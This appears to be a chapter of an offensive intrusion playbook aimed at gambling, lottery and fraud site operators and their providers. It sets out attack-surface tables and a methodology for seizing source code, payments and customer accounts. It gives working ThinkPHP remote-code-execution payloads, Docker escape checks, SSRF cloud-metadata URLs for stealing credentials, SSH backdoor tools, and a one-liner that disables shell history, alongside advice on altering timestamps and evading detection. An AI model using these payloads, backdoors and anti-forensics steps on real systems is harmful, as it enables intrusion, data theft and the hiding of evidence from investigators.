3. Penetration Testing in Practice
3.1 Black-Box Quick Initial Access Mindset
Target decision chain: what is the target → take down the iGaming platform provider (control data / rights enforcement / supply chain / customer account-password payments / console permissions / obtain source code / control operations-maintenance-development / control customer support) → whether to go deeper and control customers (2FA verification / IP whitelist / login IP / cookie / storage)
BC (Gambling) Site Attack Surface
| Target | Attack technique |
|---|---|
| Promotion sites | SQL injection (modify sqlmap to target specified databases/tables and skip probing) / backup files / framework vulnerabilities (RCE / deserialization / upload / arbitrary file read-write) / temporary setups (dig through files, lateral movement → MQ → phishing) / collect domain assets and expand (multiple provider sub-sites share promotion sites / provider-related domains) |
| Customer support sites | XSS → phishing / electron RCE / buy the source code and self-host → markdown tags / obtain test-site source via the support-system vendor / find the admin panel / scan directories / attribute provider assets via support-site assets (94chat) / pull information from support to learn more about the site |
| Page association | JS / JS Console / static resource loading / WSS (not very reliable) |
| Provider operations | Jenkins / various domestic OA management software / MQ / weak credentials on test sites → get shell → lateral movement / web-shell phishing / grab source code / error debugging / collect admin API endpoints (../../../) / source-code resale channels (simple chat / scan backups / black-box / find more page fingerprints from admin-page resource loading → money.php / admin debug errors → special DB table and filenames) |
| Legacy edge assets | hard to find for providers / use bbscan to find backups for quick code audit (backups only apply to the current site → admin API backend filenames) |
| Authorization bypass | vertical privilege escalation → more API permissions / horizontal privilege escalation → the whole site / only meaningful when the admin panel has multiple admin accounts |
| Fourth-party payment / external platforms | Login Proxy (username changes / loaded assets change / new domain fingerprints can't be traced back to the source site) / find frameworks / assets / vulnerabilities |
Large-scale BC characteristics: buy a BC license → formalize / incorporate / scale up → Azure / cloud apps (high difficulty / high time cost / long prison sentences dampen motivation)
BC business evolution: sell source code (old frontend / admin code modified / uniapp frontend → hire private developers) / credit-betting casino (main target) / QB (6-month trial period → breach for long-term persistence) / blockchain (web3 / pig-butchering / BTC gambling) / TG Bot / micro-betting (intimate-chat)
Division of labor: reconnaissance + black-box + white-box + internal network → attack pairs (clear division / corporate employees) vs. solo completion of the target end-to-end → tools (burp / yakit / cpacha_killer_modify / burp TLS fingerprint spoofing)
Scanner development: carry as few attack signatures as possible / neutralize request payloads / verify with POCs
CP (Lottery) Site Attack Surface
| Attack point | Technique |
|---|---|
| Injection | SQL injection in the betting flow (external lottery API / front-back-end encryption) / check-in injection / roulette activities / orderby=rand(1=1) |
| Customer support site | invite codes / 53 / meiqia |
| Navigation sites | find associated assets |
| Chat rooms | XSS → WebSocket exploitation → find the provider |
| Image sites | find the provider / img.xxx.com → management system |
| Editors | arbitrary file upload / XSS / UEditor (PHP → SSRF → live internal-network ports / real IP → DNS) / UEditor (.NET → upload) |
| Error messages | JSON closing / variable-name arrays (word[]=xxx → Java / PHP / middleware → CF) |
| Multi-port | high ports running other services (real IP / bound to different domains) / nginx reverse proxy (80-30000+) |
| Deserialization | CI framework (CI deserialization reference) / gzip test.phar |
| Mainstream domestic domains | common SRC / BC and ZP sites (batch collection via fingerprints) / build wordlists with crawlers |
| Demo sites | take the source code |
| Data exfiltration | adminer / pull to the server and transfer in chunks (web directory / GitHub LFS / Action) |
ZP (Fraud) Site Attack Surface
| Attack point | Technique |
|---|---|
| Quick initial access on this site | directories / ports / weak credentials / bbscan to find backups for quick code audit / avatar upload / voice Moments upload → phishing (SH) / nude-chat same-city → fake-task order-brushing |
| PHP | variable override |
| Routing | filter/WAF → extract and scan |
| Vulnerability points | config files (hardcoded → cookie forgery) / dangerous functions (debug → Heibaihe) / how to trigger and what conditions are needed (routing / permissions) |
| Temporarily bought servers | RAM must have MFA bound (auth.ping8.top → export username:secret) |
3.2 Common Vulnerability Principles, Exploitation Tools, and Approaches
Vulnerability exploitation methodology:
Component → source code (open-source / backup / info from customer support / cloud-drive leaks / multi-version testing / cracked commercial version) → version (update time / fix logs → bypass / impact scope / commercial-version differences)
→ POC acquisition (GitHub / blogs / source analysis / tool packet capture) → principle (vulnerability point / exploit conditions / impact / request routing → secondary development)
→ operational adaptation (local setup / no outbound network / .NET Core memory shell)
Common vulnerability categories:
SQL Injection
- Don't rely on sqlmap; write your own scripts
- Determine: is the app/database separated? / write permission? / command execution? (Oracle 19c sys)
- If uncrackable → write admin credentials / config parameters / rewrite keys (Bcrypt / file type)
- Tool: ghauri
Arbitrary File Read
- Read sensitive files (.bash_history / .viminfo / source code / config / logs / startup scripts)
- List directories? / cross-drive access on Windows?
/proc/net///proc/self///proc/pid/
Arbitrary File Upload
- Directory returned? / cross-drive? / combine with file inclusion? / upload to OSS?
Docker Escape
# Identify the environment
.dockerenv | ls -alh /.dockerenv | cat /proc/1/cgroup | mount | grep docker | fdisk -l | ps -aux
# Privileged mode check
cat /proc/self/status | grep Cap # 0000003fffffffff → mount the host filesystem
# Registry API unauthorized access
https://github.com/Soufaker/docker_v2_catalog
# Remote API(2375)
docker -H tcp://<target>:2375 ps -a
# Tools
https://github.com/teamssix/container-escape-check
https://github.com/cdk-team/CDK
SSRF Cloud Metadata
- Alibaba Cloud:
http://100.100.100.200/latest/meta-data//ram/security-credentials/ - Tencent Cloud:
http://metadata.tencentyun.com/latest/meta-data/ - Huawei Cloud: ECS user manual
- OSS Browser / CF
PHP Config File Write
'); phpinfo(); /*- Variable override
Attack-Surface Discovery on a Single Login Endpoint (Interview Divergent Thinking)
- IP / domain / Google-search historical articles mentioning the site (wayurl) / JS\directory\API\parameter fuzzing (arjun / hae)
- Injection (.NET) / registration / find login scripts on GitHub / brute-force JWT / help docs / swagger-exp-knife4j
ThinkPHP Vulnerability Quick Reference
| Version | Vulnerability | Key points |
|---|---|---|
| 5.0.0-5.0.23 | RCE (variable override + code execution) | trace + forced routing: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id / debug + routing: _method=__construct&filter[]=system&get[]=id |
| 5.0.0-5.0.23 | arbitrary class invocation (reflection) | s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id |
| 6.0.1-6.0.13 | multi-language RCE (pearcmd) | lang=../../../../../../usr/local/lib/php/pearcmd → file inclusion |
| 3.2.* / 5.0.0-5.0.18 | template variable override + file inclusion | View::assign() combined with image shell / logs |
| 5.x | Windows destructor arbitrary file deletion | think\process\pipes\Windows::__destruct |
| - Tool: thinkphp_gui_tools | ||
| - TP3/5 difference: TP3 directories start uppercase vs. TP5/6 lowercase; logs are stored in different locations | ||
| - SQL injection: count/max unfiltered → parseKey / _parseOptions direct concatenation / parseWhereItem(bind/between/eq) / parseData unfiltered |
SSH Backdoor
- tsh: internal-network machine → outbound connection, the VPS must not drop
- PAM backdoor: test the version well, keep the connection alive
- sshdHooker
File Search
- FindEverything → extend it with a version you like
Trace Cleanup
- ShadowlessFeet
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0- Modify file timestamps
- Internal network probing logic: never scan the internal network / access the internal network following machine logic / probe the internal network based on internal connections
- Script jobs: single-threaded / scan a single port / randomize IP addresses / random delay after each scan